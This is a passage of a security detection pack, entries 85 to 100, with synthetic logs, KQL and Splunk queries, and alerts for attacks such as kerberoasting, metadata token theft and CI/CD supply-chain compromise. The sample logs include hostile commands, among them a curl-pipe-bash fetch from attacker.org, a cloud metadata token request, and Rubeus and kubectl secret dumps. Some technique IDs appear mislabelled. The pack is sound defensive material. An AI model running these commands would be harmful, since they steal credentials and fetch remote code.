ALERT OUTPUT EXAMPLE

Alert Name: Unauthorised Terraform Apply from DevOps Pipeline
Severity: Critical
Description: User syahir.devops manually triggered a pipeline to apply unapproved Terraform changes, deploying non-compliant EC2 instance in production.
Recommended Action:

- Immediately stop affected EC2 instance
- Revert infrastructure to last known good state
- Review CI/CD pipeline permissions
- Notify DevSecOps and begin IR on deployed instance

DETECTION PACK ENTRY 85
USE CASE: PERSISTENT ACCESS VIA ABUSED OAUTH REFRESH TOKEN AFTER PASSWORD RESET
TACTIC: PERSISTENCE
TECHNIQUE: T1525 – IMPLANT AUTHENTICATION TOKEN ABUSE
ENVIRONMENT: AZURE AD + DEFENDER FOR CLOUD APPS + OAUTH TOKEN LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Azure AD Sign-In Logs


```
{
 "Timestamp": "2025-07-10T00:02:44Z",
 "User": "fatin.hr@clientorg.com",
 "Status": "Success",
 "TokenType": "RefreshToken",
 "App": "OneDriveSync",
 "IP": "77.89.122.140",
 "Device": "Unknown",
 "Notes": "Login successful after password reset"
}
```


Data Source: MCAS Alert


```
{
 "AlertType": "OAuth Token Reuse After Password Change",
 "User": "fatin.hr@clientorg.com",
 "App": "OneDriveSync",
 "Location": "Albania",
 "RiskScore": 9.5
}
```


DETECTION QUERY

KQL (Sentinel – Azure AD + MCAS)

```
SigninLogs
| where TokenIssuerType == "RefreshToken"
and ResultType == 0
and Location != "Expected country"
| join kind=inner (
   CloudAppSecurity
```

```
    | where AlertName == "OAuth Token Reuse After Password Change"
) on UserPrincipalName
```

SPLUNK

```
index=azure_ad OR index=mcas
| search TokenType="RefreshToken" Status="Success"
| join User [
  search index=mcas AlertType="OAuth Token Reuse After Password Change"
]
| stats count by User, App, IP, Location, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious OAuth Refresh Token Persistence
Severity: High
Description: OAuth refresh token reused from Albania after fatin.hr@clientorg.com performed a corporate password reset. Indicates session hijack.
Recommended Action:

- Revoke all active sessions for the user
- Remove associated app permissions from Azure AD
- Force MFA and conditional re-authentication
- Conduct historical sign-in and session analysis

DETECTION PACK ENTRY 86
USE CASE: DATA EXFILTRATION VIA MICROSOFT TEAMS WEBHOOK
TACTIC: EXFILTRATION
TECHNIQUE: T1041 – EXFILTRATION OVER C2 CHANNEL
ENVIRONMENT: TEAMS LOGS + PROXY LOGS + POWERSHELL

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: PowerShell Log


```
{
  "Command": "Invoke-WebRequest -Uri
'https://outlook.office.com/webhook/abc123@tenant/IncomingWebhook/xyz456' -
Method POST -Body '{\"text\":\"TopSecretFile.csv uploaded.\"}'",
  "RunAs": "afiq.eng@clientorg.com",
  "Host": "ENG-WS-09"
}
```


Data Source: Proxy Log


```
{
  "Destination": "outlook.office.com",
  "Method": "POST",
  "UserAgent": "PowerShell/7.3",
  "Size": "248 bytes",
  "Timestamp": "2025-07-10T00:45:22Z"
}
```


DETECTION QUERY

KQL (Sentinel – PowerShell + Proxy)

```
DeviceProcessEvents
| where ProcessCommandLine has "Invoke-WebRequest" and ProcessCommandLine has
"webhook"
| join kind=inner (
    ProxyLogs
    | where Url contains "outlook.office.com/webhook"
) on DeviceName
```

SPLUNK

```
index=ps_logs OR index=proxy_logs
```

```
| search Command="*Invoke-WebRequest*" AND Url="*webhook*"
| stats count by User, Command, Url, Size, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Teams Webhook Data Exfiltration
Severity: High
Description: PowerShell POST request sent to MS Teams Incoming Webhook by afiq.eng@clientorg.com, with references to sensitive data upload.
Recommended Action:

- Revoke and rotate Teams webhook URL
- Examine Teams audit logs for app misuse
- Inspect PowerShell logs for prior invocations
- Alert blue team for potential follow-up actions

DETECTION PACK ENTRY 87
USE CASE: KERBEROASTING WITH ELEVATED SERVICE ACCOUNT
TACTIC: CREDENTIAL ACCESS
TECHNIQUE: T1558.003 – KERBEROASTING
ENVIRONMENT: WINDOWS SECURITY LOGS + SYSMON + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Windows Security Event ID 4769


```
{
 "Timestamp": "2025-07-10T01:13:57Z",
 "TargetUserName": "svc-finance",
 "ServiceName": "krbtgt/clientorg.com",
 "TicketEncryptionType": "0x17 (RC4-HMAC)",
 "RequestedBy": "elevated.red@clientorg.com",
 "Device": "SEC-WIN10-03"
}
```


Data Source: Sysmon Event ID 1 (Process Create)


```
{
 "Process": "Rubeus.exe",
 "Command": "Rubeus.exe kerberoast /output:hashes.txt",
 "User": "elevated.red@clientorg.com"
}
```


DETECTION QUERY

KQL (Sentinel – Windows Logs + Sysmon)

```
SecurityEvent
| where EventID == 4769 and TicketEncryptionType == "0x17"
| join kind=inner (
   DeviceProcessEvents
   | where ProcessCommandLine has "Rubeus" and ProcessCommandLine has
"kerberoast"
) on AccountName
```

SPLUNK

```
index=wineventlog OR index=sysmon
| search EventCode=4769 EncryptionType=0x17
```

```
| join AccountName [
  search index=sysmon Command="*Rubeus*kerberoast*"
]
| stats count by User, ServiceName, TicketEncryptionType, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Kerberoasting Attempt Using Rubeus Tool
Severity: Critical
Description: User elevated.red@clientorg.com attempted to extract RC4-HMAC tickets using Rubeus.exe targeting svc-finance account.
Recommended Action:

- Disable svc-finance account if not protected by AES
- Rotate service account password immediately
- Hunt for hash cracking attempts in internal storage
- Review admin account privileges and tool usage

DETECTION PACK ENTRY 88
USE CASE: GCP METADATA SERVICE ABUSE FOR CREDENTIAL THEFT
TACTIC: CREDENTIAL ACCESS
TECHNIQUE: T1552.005 – CLOUD INSTANCE METADATA API
ENVIRONMENT: GCP LOGS + SYSMON (ON CLOUD VM) + EDR + NDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 3 (Network Connection)


```
{
 "Timestamp": "2025-07-10T01:55:32Z",
 "User": "hacker.vmuser",
 "Process": "curl.exe",
 "CommandLine": "curl http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token -H 'Metadata-Flavor: Google'",
 "Device": "GCP-WIN-01"
}
```


Data Source: GCP Access Log


```
{
 "Caller": "hacker.vmuser@internal",
 "Request": "GET /computeMetadata/v1/instance/service-accounts/default/token",
 "ResponseCode": 200,
 "IP": "10.240.1.44"
}
```


DETECTION QUERY

KQL (Sentinel – Process + Network Logs)

```
DeviceNetworkEvents
| where RemoteUrl contains "169.254.169.254"
| join kind=inner (
   DeviceProcessEvents
   | where ProcessCommandLine has "computeMetadata"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=gcp_logs
| search Command="*Metadata*" AND Url="*169.254.169.254*"
```

| stats count by User, Device, CommandLine, IP, _time

ALERT OUTPUT EXAMPLE

Alert Name: Metadata Credential Access from GCP VM
Severity: High
Description: User hacker.vmuser accessed GCP metadata API to retrieve OAuth tokens from internal IP 169.254.169.254. This may indicate credential theft.
Recommended Action:

- Immediately disable service account if compromised
- Review firewall egress and identity scopes
- Isolate VM GCP-WIN-01
- Enable metadata concealment and GCP shielded VM features

DETECTION PACK ENTRY 89
USE CASE: COMPROMISE VIA VULNERABLE PYTHON PACKAGE IN CI/CD
TACTIC: INITIAL ACCESS / SUPPLY CHAIN
TECHNIQUE: T1195.002 – COMPROMISE SOFTWARE DEPENDENCIES AND DEVELOPMENT TOOLS
ENVIRONMENT: GITHUB ACTIONS + PYPI + CI/CD LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GitHub Actions Log


```
{
  "Timestamp": "2025-07-10T02:30:45Z",
  "User": "buildbot@clientorg.com",
  "Repo": "clientorg/ai-analytics",
  "Event": "pip install figparser==1.2.3",
  "Warning": "package contains suspicious postinstall.py script"
}
```


Data Source: EDR Log


```
{
  "Process": "python.exe",
  "File": "postinstall.py",
  "Action": "Network connection to 192.168.88.88:4444",
  "Payload": "Downloader script encoded in base64"
}
```


DETECTION QUERY

KQL (Sentinel – Build Logs + EDR)

```
BuildPipelineLogs
| where CommandLine has "pip install" and FileName has "postinstall.py"
| join kind=inner (
   DeviceNetworkEvents
   | where RemoteIP == "192.168.88.88"
) on DeviceName
```

SPLUNK

```
index=ci_cd_logs OR index=edr
| search Command="*pip install*" AND File="postinstall.py"
```

```
| join Device [
  search index=edr RemoteIP="192.168.88.88"
]
| stats count by User, Repo, File, IP, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Python Package Executed in CI Pipeline
Severity: Critical
Description: figparser==1.2.3 installed in CI/CD contained a malicious postinstall.py script that made outbound connection. Indicates software supply chain compromise.
Recommended Action:

- Remove vulnerable package and halt build process
- Review requirements.txt and lock dependencies
- Alert development team and scan GitHub repos
- Enable SCA (Software Composition Analysis) in pipeline

DETECTION PACK ENTRY 90
USE CASE: API KEY EXPOSURE IN GIT COMMIT
TACTIC: CREDENTIAL ACCESS
TECHNIQUE: T1552.001 – CREDENTIALS IN FILES
ENVIRONMENT: GIT LOGS + SECRET SCANNING + DLP

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Git Commit Log


```
{
 "CommitHash": "cd3e92a",
 "Author": "nurul.dev@clientorg.com",
 "Repo": "clientorg/payment-api",
 "File": "config/dev.env",
 "Timestamp": "2025-07-10T03:01:09Z",
 "Line": "STRIPE_SECRET_KEY=sk_live_51JssZgDb08y0rK..."
}
```


Data Source: DLP Engine / Secret Scanning Tool


```
{
 "Finding": "Live Stripe API key exposed",
 "DetectionTool": "GitGuardian",
 "Severity": "Critical",
 "PublicAccess": "False",
 "TimeDetected": "2025-07-10T03:01:33Z"
}
```


DETECTION QUERY

KQL (Sentinel – Git + Secret Scanner Logs)

```
GitRepoCommits
| where FileName endswith ".env" and CommitMessage contains "add config"
| join kind=inner (
   SecretScanFindings
   | where Finding contains "API key"
) on CommitHash
```

SPLUNK

```
index=git_logs OR index=dlp
```

```
| search File="*.env" Line="*SECRET_KEY=*"
| join CommitHash [
  search index=dlp Finding="*API key*"
]
| stats count by Author, Repo, File, Line, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: API Key Hardcoded and Committed to Repo
Severity: High
Description: nurul.dev@clientorg.com committed a live Stripe secret key to internal Git repo. Discovered by GitGuardian within 24 seconds.
Recommended Action:

- Revoke and regenerate exposed key immediately
- Notify security engineering and DevOps leads
- Enforce Git pre-commit hooks with secret scan
- Schedule secret hygiene awareness training

DETECTION PACK ENTRY 91
USE CASE: AWS CHAINED ASSUMEROLE PRIVILEGE ESCALATION
TACTIC: PRIVILEGE ESCALATION
TECHNIQUE: T1078.004 – CLOUD ACCOUNTS
ENVIRONMENT: AWS CLOUDTRAIL + IAM LOGS + THREAT DETECTION PLATFORMS (E.G., GUARDDUTY)

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: CloudTrail Event


```
{
 "Timestamp": "2025-07-10T03:55:12Z",
 "Actor": "arn:aws:sts::932211334455:assumed-role/devops-reader/i.am.attacker",
 "Action": "AssumeRole",
 "TargetRole": "arn:aws:iam::932211334455:role/AdminAccess",
 "SessionName": "escalation-session",
 "SourceIP": "3.220.185.110"
}
```


Data Source: GuardDuty Alert


```
{
 "FindingType": "PrivilegeEscalation:AssumeRole",
 "Severity": "High",
 "Description": "A non-privileged user assumed a higher-privilege role outside normal usage pattern.",
 "Region": "us-east-1"
}
```


DETECTION QUERY

KQL (Sentinel with AWS Logs Connector)

```
AWSCloudTrail
| where EventName == "AssumeRole" and SessionIssuerUserName contains "i.am.attacker"
| join kind=inner (
   AWSGuardDutyFindings
   | where FindingType contains "PrivilegeEscalation"
) on SessionName
```

SPLUNK

```
index=aws_cloudtrail OR index=guardduty
| search Action="AssumeRole" AND TargetRole="*AdminAccess*"
| join SessionName [
  search index=guardduty FindingType="*PrivilegeEscalation*"
]
| stats count by Actor, TargetRole, SourceIP, Region, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Chained Role Escalation to AdminAccess
Severity: Critical
Description: IAM role devops-reader was used to assume AdminAccess role by attacker session i.am.attacker from IP 3.220.185.110. Indicates chained privilege misuse.
Recommended Action:

- Immediately revoke session credentials
- Implement condition-based role trust policies
- Enable MFA and service control policies (SCP)
- Audit recent high-privilege actions for impact

DETECTION PACK ENTRY 92
USE CASE: LNK-BASED PHISHING VIA MICROSOFT TEAMS CHAT
TACTIC: INITIAL ACCESS
TECHNIQUE: T1204.002 – USER EXECUTION: MALICIOUS FILE
ENVIRONMENT: TEAMS LOGS + EMAIL GATEWAY + SYSMON

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Teams Chat Export

```
{
 "Sender": "unknown.contact@gmail.com",
 "Recipient": "shafiqa.it@clientorg.com",
 "Timestamp": "2025-07-10T04:23:04Z",
 "Message": "Please review this shortcut urgently: meeting_notes.lnk",
 "Attachment": "meeting_notes.lnk"
}
```

Data Source: Sysmon Event ID 1 (Process Create)

```
{
 "Process": "wscript.exe",
 "Command": "wscript.exe //B payload.js",
 "User": "shafiqa.it",
 "Parent": "explorer.exe",
 "Device": "CORP-LAPTOP-19"
}
```

DETECTION QUERY

KQL (Sentinel – Teams + Sysmon)

```
TeamsMessageLogs
| where Message contains ".lnk"
| join kind=inner (
   DeviceProcessEvents
   | where FileName == "wscript.exe" and ProcessCommandLine has "payload.js"
) on DeviceName
```

SPLUNK

```
index=teams_chat OR index=sysmon
| search Attachment="*.lnk" OR Message="*.lnk"
```

```
| join User [
  search index=sysmon Process="wscript.exe" Command="*payload.js*"
]
| stats count by User, FileName, Sender, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: LNK Phishing via Microsoft Teams
Severity: High
Description: Malicious .lnk file shared via Teams to shafiqa.it@clientorg.com triggered execution of obfuscated JavaScript payload through wscript.exe.
Recommended Action:

- Quarantine affected device CORP-LAPTOP-19
- Block sender across Microsoft tenant
- Enable safe links and ATP protection in Teams
- Educate staff on LNK file threats in collaboration apps

DETECTION PACK ENTRY 93
USE CASE: JENKINS WEBHOOK ABUSED FOR CALLBACK TO ATTACKER C2
TACTIC: COMMAND AND CONTROL
TECHNIQUE: T1105 – INGRESS TOOL TRANSFER
ENVIRONMENT: JENKINS LOGS + EDR + FIREWALL LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Jenkins Build Console Log


```
{
 "BuildID": "#441",
 "User": "ci-bot",
 "Script": "curl http://c2.callback.attacker.org/beacon.sh | bash",
 "Repo": "clientorg/devops-utils",
 "Timestamp": "2025-07-10T05:05:00Z"
}
```


Data Source: Firewall Log


```
{
 "Device": "JENKINS01",
 "Destination": "c2.callback.attacker.org",
 "Port": 80,
 "Method": "GET /beacon.sh",
 "ResponseSize": "4720 bytes"
}
```


DETECTION QUERY

KQL (Sentinel – Jenkins + Firewall)

```
JenkinsPipelineLogs
| where Script contains "curl" and Script has "attacker.org"
| join kind=inner (
   NetworkLogs
   | where RemoteUrl contains "attacker.org" and Method == "GET"
) on DeviceName
```

SPLUNK

```
index=jenkins_logs OR index=firewall
| search Script="*attacker.org*" AND Url="*beacon.sh*"
```

| stats count by Repo, BuildID, Device, Url, _time

ALERT OUTPUT EXAMPLE

Alert Name: CI/CD Webhook Used for Ingress Tool Download
Severity: High
Description: Jenkins build #441 initiated HTTP GET to attacker.org, downloading and executing a remote beacon script. Suggests compromise of webhook or repo.
Recommended Action:

- Lock down webhook usage in CI system
- Rotate Jenkins credentials and tokens
- Scan build scripts for IOC remnants
- Alert DevOps team for rollback and cleanup

DETECTION PACK ENTRY 94
USE CASE: BRING YOUR OWN VULNERABLE DRIVER (BYOVD) TO DISABLE SECURITY CONTROLS
TACTIC: DEFENSE EVASION
TECHNIQUE: T1547.006 – IMPLANT VIA KERNEL DRIVERS
ENVIRONMENT: SYSMON + EDR + KERNEL MODE LOGGING

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 6 (Driver Loaded)


```
{
  "Timestamp": "2025-07-10T06:12:22Z",
  "DriverFileName": "rtcore64.sys",
  "SignatureStatus": "Unsigned",
  "LoadedBy": "wininit.exe",
  "Device": "ENG-WS-22"
}
```


Data Source: EDR Alert


```
{
  "Event": "Driver Load Detected",
  "Driver": "rtcore64.sys",
  "Status": "Known Vulnerable",
  "Detection": "BYOVD Attempt",
  "User": "mujahid.eng"
}
```


DETECTION QUERY

KQL (Sentinel – Sysmon + EDR)

```
DeviceImageLoadEvents
| where FileName == "rtcore64.sys" and SignatureStatus == "Unsigned"
| join kind=inner (
   EDRDetectionLogs
   | where Event contains "BYOVD"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=edr
```

```
| search FileName="rtcore64.sys" SignatureStatus="Unsigned"
| join Device [
  search index=edr Event="*BYOVD*"
]
| stats count by Device, User, FileName, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Unsigned Vulnerable Driver Loaded (BYOVD)
Severity: Critical
Description: Unsigned driver rtcore64.sys loaded via wininit.exe on ENG-WS-22, associated with known attack methods for disabling AV/EDR.
Recommended Action:

- Immediately isolate device
- Check registry for autoload persistence
- Remove vulnerable driver and perform deep endpoint scan
- Enable Microsoft kernel-mode driver block list

DETECTION PACK ENTRY 95
USE CASE: INSIDER DATA SYNC TO UNAUTHORISED CLOUD STORAGE (MEGA.NZ)
TACTIC: EXFILTRATION
TECHNIQUE: T1567.002 – EXFILTRATION TO CLOUD STORAGE
ENVIRONMENT: PROXY LOGS + FILE ACCESS LOGS + UEBA

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Proxy Log


```
{
 "Timestamp": "2025-07-10T06:45:17Z",
 "User": "hanis.finance@clientorg.com",
 "Destination": "mega.nz",
 "BytesUploaded": 32450122,
 "Filename": "Q1-PnL-Full.xlsx"
}
```


Data Source: UEBA Alert


```
{
 "AlertType": "Unusual Data Upload Volume",
 "Severity": "High",
 "User": "hanis.finance",
 "Deviation": "+320% vs. baseline",
 "Destination": "mega.nz"
}
```


DETECTION QUERY

KQL (Sentinel – Proxy + UEBA)

```
ProxyLogs
| where Url contains "mega.nz" and BytesUploaded > 10000000
| join kind=inner (
   UEBAAlerts
   | where AlertType contains "Unusual Data Upload Volume"
) on UserPrincipalName
```

SPLUNK

```
index=proxy OR index=ueba
```

```
| search Url="*mega.nz*" BytesUploaded>10000000
| join User [
  search index=ueba AlertType="*Upload Volume*"
]
| stats count by User, Url, Filename, BytesUploaded, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Upload to Mega.nz Cloud
Severity: High
Description: User hanis.finance@clientorg.com uploaded 32MB Excel file to Mega.nz, exceeding historical usage profile by +320%. UEBA flagged this as anomaly.
Recommended Action:

- Block access to Mega.nz at proxy level
- Contact user for justification or investigation
- Cross-reference file content for data sensitivity
- Enable upload throttling and UEBA policy enforcement

DETECTION PACK ENTRY 96
USE CASE: KUBERNETES SECRETS EXFILTRATION VIA MISCONFIGURED RBAC
TACTIC: CREDENTIAL ACCESS / COLLECTION
TECHNIQUE: T1552.007 – CONTAINER ORCHESTRATION SECRETS
ENVIRONMENT: K8S AUDIT LOGS + API SERVER LOGS + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Kubernetes Audit Log


```
{
  "Timestamp": "2025-07-10T07:10:30Z",
  "User": "jenkins-sa",
  "Namespace": "default",
  "Verb": "get",
  "Resource": "secrets",
  "SourceIP": "10.88.3.9",
  "UserAgent": "kubectl/v1.30"
}
```


Data Source: EDR Log


```
{
  "Process": "kubectl.exe",
  "Command": "kubectl get secrets --namespace=default -o json",
  "User": "jenkins-sa@k8s.cluster.local",
  "Device": "CICD-K8S-PIPELINE"
}
```


DETECTION QUERY

KQL (Sentinel – K8s + Process Logs)

```
KubernetesAuditLogs
| where Resource == "secrets" and Verb == "get"
| join kind=inner (
   DeviceProcessEvents
   | where ProcessCommandLine has "kubectl get secrets"
) on DeviceName
```

SPLUNK

```
index=k8s_audit OR index=edr
| search Command="*kubectl get secrets*"
| join User [
  search index=k8s_audit Resource="secrets" Verb="get"
]
| stats count by User, Namespace, Device, Command, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: K8s Secrets Accessed by Misconfigured ServiceAccount
Severity: Critical
Description: Service account jenkins-sa accessed all secrets in the default namespace using kubectl. Indicates excessive permissions via misconfigured RBAC.
Recommended Action:

- Revoke excessive RBAC bindings for jenkins-sa
- Rotate any exposed secrets or tokens
- Enable least privilege policy on service accounts
- Review all workloads that inherited permissions

DETECTION PACK ENTRY 97
USE CASE: IN-MEMORY SHELLCODE EXECUTION VIA MSBUILD LOLBIN
TACTIC: EXECUTION
TECHNIQUE: T1127.001 – MSBUILD
ENVIRONMENT: SYSMON + EDR + WINDOWS LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1 (Process Create)


```
{
 "Timestamp": "2025-07-10T07:44:12Z",
 "User": "aidil.red@clientorg.com",
 "Process": "MSBuild.exe",
 "CommandLine": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe
payload.xml",
 "Parent": "cmd.exe",
 "Device": "RND-LAB-07"
}
```


Data Source: EDR Memory Scanner


```
{
 "Detection": "Reflective Shellcode Execution",
 "Source": "MSBuild.exe",
 "Payload": "Meterpreter",
 "Technique": "Process Hollowing",
 "Confidence": "High"
}
```


DETECTION QUERY

KQL (Sentinel – Sysmon + EDR)

```
DeviceProcessEvents
| where FileName == "MSBuild.exe" and ProcessCommandLine has "payload.xml"
| join kind=inner (
   EDRMemoryAlerts
   | where Detection contains "Shellcode"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=edr
| search FileName="MSBuild.exe" AND Command="*payload.xml*"
| join Device [
  search index=edr Detection="*Shellcode*"
]
| stats count by User, CommandLine, Detection, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Shellcode Execution via MSBuild
Severity: Critical
Description: MSBuild.exe was abused to execute embedded shellcode using a crafted XML build script (payload.xml) by user aidil.red@clientorg.com.
Recommended Action:

- Quarantine device RND-LAB-07
- Disable MSBuild if not needed in user environments
- Hunt for .xml files with encoded payloads
- Enable LOLBin detection in EDR policies

DETECTION PACK ENTRY 98
USE CASE: CLIPBOARD SCRAPING MALWARE HARVESTING PASSWORDS
TACTIC: CREDENTIAL ACCESS
TECHNIQUE: T1115 – CLIPBOARD DATA
ENVIRONMENT: EDR + SYSMON + CLIPBOARD MONITORING

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1 (Process Create)


```
{
 "Timestamp": "2025-07-10T08:09:47Z",
 "User": "irfan.support",
 "Process": "clipspy.exe",
 "CommandLine": "clipspy.exe --monitor --log C:\\temp\\cliplog.txt",
 "Device": "SUPPORT-WS-05"
}
```


Data Source: EDR Detection


```
{
 "Alert": "Unusual clipboard API access",
 "Process": "clipspy.exe",
 "Behavior": "Repeated GetClipboardData calls + sensitive string match (password)",
 "Severity": "High"
}
```


DETECTION QUERY

KQL (Sentinel – Process + API Events)

```
DeviceProcessEvents
| where FileName == "clipspy.exe"
| join kind=inner (
   EDRApiUsage
   | where ApiCall contains "GetClipboardData"
   and DataExtracted contains "password"
) on DeviceName
```

SPLUNK

```
index=edr OR index=sysmon
| search Command="clipspy.exe*" AND ApiCall="GetClipboardData"
```

| stats count by User, Device, ExtractedData, _time

ALERT OUTPUT EXAMPLE

Alert Name: Clipboard Scraper Harvesting Passwords
Severity: High
Description: clipspy.exe executed on SUPPORT-WS-05 by user irfan.support captured clipboard content including strings resembling credentials.
Recommended Action:

- Terminate and isolate host
- Examine logs for leaked secrets
- Block unauthorised clipboard access tools
- Alert user to change passwords immediately

DETECTION PACK ENTRY 99
USE CASE: DATA EXFILTRATION VIA SIDELOADED BROWSER EXTENSION
TACTIC: EXFILTRATION
TECHNIQUE: T1176 – BROWSER EXTENSIONS
ENVIRONMENT: BROWSER EXTENSION LOGS + PROXY + UEBA

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Chrome Extension Log


```
{
 "User": "azlina.marketing",
 "ExtensionID": "abcd1234malicious",
 "ExtensionName": "PDF Viewer Plus",
 "Permissions": ["tabs", "clipboardRead", "webRequest"],
 "InstallSource": "Sideloaded",
 "Timestamp": "2025-07-10T08:30:00Z"
}
```


Data Source: Proxy Log


```
{
 "URL": "https://exfiltrator.io/data/upload",
 "Method": "POST",
 "BytesSent": 75342,
 "User": "azlina.marketing",
 "UserAgent": "Chrome Extension - abcd1234malicious"
}
```


DETECTION QUERY

KQL (Sentinel – Browser Logs + Proxy)

```
BrowserExtensionLogs
| where InstallSource == "Sideloaded" and Permissions has "webRequest"
| join kind=inner (
   ProxyLogs
   | where Url contains "exfiltrator.io"
) on UserPrincipalName
```

SPLUNK

```
index=browser_ext OR index=proxy
```

```
| search ExtensionName="PDF Viewer Plus" AND Url="*exfiltrator.io*"
| stats count by User, ExtensionID, BytesSent, Url, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Sideloaded Chrome Extension Exfiltrating Data
Severity: High
Description: Extension PDF Viewer Plus sideloaded by azlina.marketing transmitted over 75KB of data to exfiltrator.io. Detected via extension telemetry and proxy logs.
Recommended Action:

- Force uninstall extension from managed Chrome profiles
- Block associated domain and extension ID
- Enable extension allowlist policy in Google Workspace
- Conduct data loss impact assessment

DETECTION PACK ENTRY 100
USE CASE: FILELESS PAYLOAD HIDDEN VIA NTFS ALTERNATE DATA STREAMS (ADS)
TACTIC: DEFENSE EVASION
TECHNIQUE: T1564.004 – HIDE ARTIFACTS: NTFS FILE ATTRIBUTES
ENVIRONMENT: SYSMON + EDR + POWERSHELL LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 11 (File Create)


```
{
 "Timestamp": "2025-07-10T09:15:01Z",
 "User": "syed.analyst@clientorg.com",
 "TargetFilename": "C:\\Users\\Public\\readme.txt:payload.exe",
 "CreationFlags": "FILE_ATTRIBUTE_HIDDEN",
 "Device": "SEC-WS-11"
}
```


Data Source: PowerShell Operational Log


```
{
 "CommandLine": "Start-Process 'C:\\Users\\Public\\readme.txt:payload.exe'",
 "User": "syed.analyst",
 "HostApplication": "powershell.exe",
 "ExecutionPolicy": "Bypass"
}
```


Data Source: EDR Alert


```
{
 "Alert": "Suspicious Execution from Alternate Data Stream",
 "Executable": "payload.exe",
 "Container": "readme.txt:payload.exe",
 "Status": "Blocked",
 "Confidence": "High"
}
```


DETECTION QUERY

KQL (Sentinel – Sysmon + PowerShell + EDR)

```
DeviceFileEvents
```

```
| where TargetFilePath contains ":"
| join kind=inner (
   DeviceProcessEvents
   | where ProcessCommandLine has ":payload.exe"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=edr OR index=powershell
| search TargetFilename="*:*" Command="*Start-Process*:*"
| stats count by User, TargetFilename, CommandLine, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Execution from NTFS Alternate Data Stream
Severity: High
Description: A hidden payload payload.exe embedded in readme.txt using NTFS ADS was executed by user syed.analyst@clientorg.com via PowerShell on device SEC-WS-11.
Recommended Action:

- Isolate host and preserve forensic evidence
- Perform full ADS enumeration on disk
- Monitor for any .txt:*.exe patterns
- Block execution from known ADS patterns in EDR policies